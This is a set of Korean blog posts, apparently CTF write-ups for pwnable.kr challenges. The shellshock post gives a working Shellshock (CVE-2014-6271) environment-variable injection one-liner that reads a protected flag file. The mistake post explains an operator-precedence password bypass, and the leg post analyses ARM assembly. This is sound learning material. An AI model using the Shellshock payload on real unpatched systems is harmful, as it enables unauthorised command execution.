코드가 매우 간단하다. 그 만큼 풀이도 간단하다.



Shellshock는 CVE-2014-6271 에 붙은 이름이다.


이 취약점은 환경변수를 사용한다.


env x='() { :; }; echo WWW' ./shellshock


이런식으로 입력하면 원래 실행되서는 안될 ./shellshock가 실행되는 것이다.


저 코드는 ./shellshock를 실행해서 echo WWW를 실행하는 코드이다.


환경변수에 echo WWW가 들어있어서 프로그램을 실행할때 같이 실행이된다.


이 부분에 flag를 여는 함수를 넣는다고 생각하면, setresuid, setresgid를 사용한 상태에서 flag를 열 수 있는 것이다.


env x='() { :; }; /bin/cat /home/shellshock/flag' ./shellshock 를 실행하면 된다.



물론 저기다가 /bin/bash를 넣어서 cat을 실행해도 된다.



Ps. env할때 () { :; }  공백이 중요하니 주의.

'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] blackjack  (0) 2018.05.29
[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
블로그 이미지

천재보다는 범재

,

#include <stdio.h>

#include <fcntl.h>


#define PW_LEN 10

#define XORKEY 1


void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}


int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}


printf("do not bruteforce...\n");

sleep(time(0)%20);


char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}


close(fd);

return 0;

}



힌트가 opration priority. 연산자 우선순위이다.

우선, 이 코드에서 사용된 연산자들을 한번 보자.


if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

if(!(len=read(fd,pw_buf,PW_LEN) > 0))


그리고 C의 우선순위를 알아보자 위쪽이 우선순위가 더 높은 연산자이다



Symbol1연산 형식결합성
[ ] ( ) . –>후위 ++ 및 후위 ––왼쪽에서 오른쪽
전위 ++ 및 전위 –– sizeof & * + – ~ !단항오른쪽에서 왼쪽
형식 캐스팅단항오른쪽에서 왼쪽
* / %곱하기왼쪽에서 오른쪽
+ –더하기왼쪽에서 오른쪽
<< >>비트 시프트왼쪽에서 오른쪽
< > <= >=관계왼쪽에서 오른쪽
== !=같음왼쪽에서 오른쪽
&비트 AND왼쪽에서 오른쪽
^비트 제외 OR왼쪽에서 오른쪽
|비트 포함 OR왼쪽에서 오른쪽
&&논리 AND왼쪽에서 오른쪽
&#124;&#124;논리 OR왼쪽에서 오른쪽
? :조건식오른쪽에서 왼쪽
= *= /= %=

 += –= <<= >>=&=

 ^= |=
단순 및 복합 할당2오른쪽에서 왼쪽
,순차적 계산왼쪽에서 오른쪽

출처 : http://forum.falinux.com/zbxe/index.php?document_srl=408448&mid=C_LIB



부등호가 =보다 더 상위에 위치한다.


if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)


그렇다면, 이 식에서 = 보다 < 가 더 먼저 실행된다는 의미이고, 비교할 때 참이면 1, 거짓이면 0을 반환한다.


open 함수는 파일이 열리면 파일의 fd를 반환하고, 실패하면 음수를 반환하므로, 파일이 열리면 fd = 0  이 되고  안열리면 1이 된다.


그 후


if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}


char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);


// xor your input

xor(pw_buf2, 10);


이 코드를 또 보자.


if(!(len=read(fd,pw_buf,PW_LEN) > 0))


파일이 똑바로 열렸다면 fd = 0이므로 stdin을 가리킨다. 즉 입력을 10자 받게된다.

그 후 scanf로 10자를 받는다.

위에서 각 글자를 1과 XOR해서 반환하므로 적당한 값을 넣어주자.

가장 쉽게 1111111111 과 0000000000을 넣어주자.




'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddle's Bottle] coin1  (0) 2018.05.29
[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] leg  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
블로그 이미지

천재보다는 범재

,

(gdb) disass main Dump of assembler code for function main: 0x00008d3c <+0>: push {r4, r11, lr} 0x00008d40 <+4>: add r11, sp, #8 0x00008d44 <+8>: sub sp, sp, #12 0x00008d48 <+12>: mov r3, #0 0x00008d4c <+16>: str r3, [r11, #-16] 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132> 0x00008d54 <+24>: bl 0xfb6c <printf> 0x00008d58 <+28>: sub r3, r11, #16 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136> 0x00008d60 <+36>: mov r1, r3 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf> 0x00008d68 <+44>: bl 0x8cd4 <key1> 0x00008d6c <+48>: mov r4, r0 0x00008d70 <+52>: bl 0x8cf0 <key2> 0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 0x00008d84 <+72>: add r2, r4, r3 0x00008d88 <+76>: ldr r3, [r11, #-16] 0x00008d8c <+80>: cmp r2, r3 0x00008d90 <+84>: bne 0x8da8 <main+108> 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140> 0x00008d98 <+92>: bl 0x1050c <puts> 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144> 0x00008da0 <+100>: bl 0xf89c <system> 0x00008da4 <+104>: b 0x8db0 <main+116> 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148> 0x00008dac <+112>: bl 0x1050c <puts> 0x00008db0 <+116>: mov r3, #0 0x00008db4 <+120>: mov r0, r3 0x00008db8 <+124>: sub sp, r11, #8 0x00008dbc <+128>: pop {r4, r11, pc} 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9 End of assembler dump. (gdb) disass key1 Dump of assembler code for function key1: 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr End of assembler dump. (gdb) disass key2 Dump of assembler code for function key2: 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 0x00008d00 <+16>: bx r6 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr End of assembler dump. (gdb) disass key3 Dump of assembler code for function key3: 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr End of assembler dump.



우선 어셈블리부터 보자. 이 코드는 ARM CPU의 어셈블리어이므로 조금 다른 점이 많다.


0x01 Registers


r0~r12 까지는 범용 레지스터이고

r13 는 스택 포인터(SP)

r14 는 링크 레지스터(LR)

r15 는 PC (Program Counter)

로 예약되어 있다.


참고로 arm의 PC는 실행중인 명령 +8의 주소를 가리킨다.

또, 함수의 return값은 r0에 들어간다.




0x02 Assembly


add, sub는 x86과 같은 명령어인데, 오퍼랜드를 넘겨주는 방식이 다르다

op{S}{cond} {Rd}, Rn, Operand2

이 구조가 ADD와 SUB의 사용 방법이다.

Rd가 destination. 즉 결과를 저장하는 곳이고, Rn은 저장할 값이 들어있는 레지스터, Operand2에는 다양한 값이 들어갈 수 있다. 자세한건 직접 알아보자. 쓰자면 끝이 없다.



 pop push 는 x86과 완전 동일하다.


이제 x86의 JMP에 대해 알아보자.


ARM은 B 라는 OPcode로 JMP를 실행하게 되는데, x86과 비교해 보자.


B = JMP

이 두개는 동작이 동일하다 해당 주소로 그냥 무조건 뛰는 것이다.


BL = Call

얘는 함수 호출할때 사용한다. l은 link를 의미하며 x86에서의 ret를 의미한다.


BX

x86에는 없다. arm의 thumb모드로 전환하는 것을 의미한다.


BLX 

역시 x86에 없다. bx와 bl을 섞은 것이다.


나머지 BLE, BE같은 명령어는 JLE, JE 등과 같다.





0x03 Key1


(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.


해당 코드를 보면, pc를 r3에 저장한 후, r0에 r3를 저장한다.

그 이후 r0에 대해 연산하지 않는다.


main에서


0x00008d6c <+48>: mov r4, r0


r4에 r0를 복사하는 것을 보니 이 값은 key1+8에서의 PC일 것이다. PC가 실행되는 코드+8을 가리키므로 0x00008ce4일 것이다.


Return 0x00008ce4;







0x04 Key2



(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.


이번에는 r3에 pc값을 넣고, 4를 더한 뒤 r0에 r3를 넣은 후, 종료한다.


즉 key2+20에서의 PC값 + 4를 하면 될 것이다.


0x00008d74 <+56>: mov r3, r0 0x00008d78 <+60>: add r4, r4, r3

반환된 값을 r3에 옮기고 r4에 r4와 r3의 합을 저장하니 r4에는 key1+key2값이 들어있을 거다.



Return 0x00008d0c;






0x05 Key3


(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.


이번엔 r3에 넣는 값이 다르다 lr이라는 값을 넣는데, lr은 위 0x01 Registers에서 언급하였다. 바로 link 값이다.


http://trace32.com/wiki/index.php/B,_BL,_BX_and_BLX


해당 주소를 참고하면, ARM의 link는 BL을 한 명령어 바로 다음 명령어이다.


즉 

0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0



이 명령어를 볼 때 0x00008d80이라는 뜻이된다.


Return 0x00008d80;



0x06 마무으리




그럼 Key값을 모두 구했다.


key1 : 0x00008ce4 

key2 : 0x00008d0c

key3 : 0x00008d80


이 세 값의 합을 구하면 된다.


더한 값은 108400이니 pwnable서버에서 입력해보자.



















'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] shellshock  (0) 2018.05.28
[Toddler's Bottle] mistake  (0) 2018.05.28
[Toddler's Bottle] input  (0) 2018.05.28
[Toddler's Bottle] random  (0) 2018.05.21
[Toddler's Bottle] passcode  (0) 2018.05.21
블로그 이미지

천재보다는 범재

,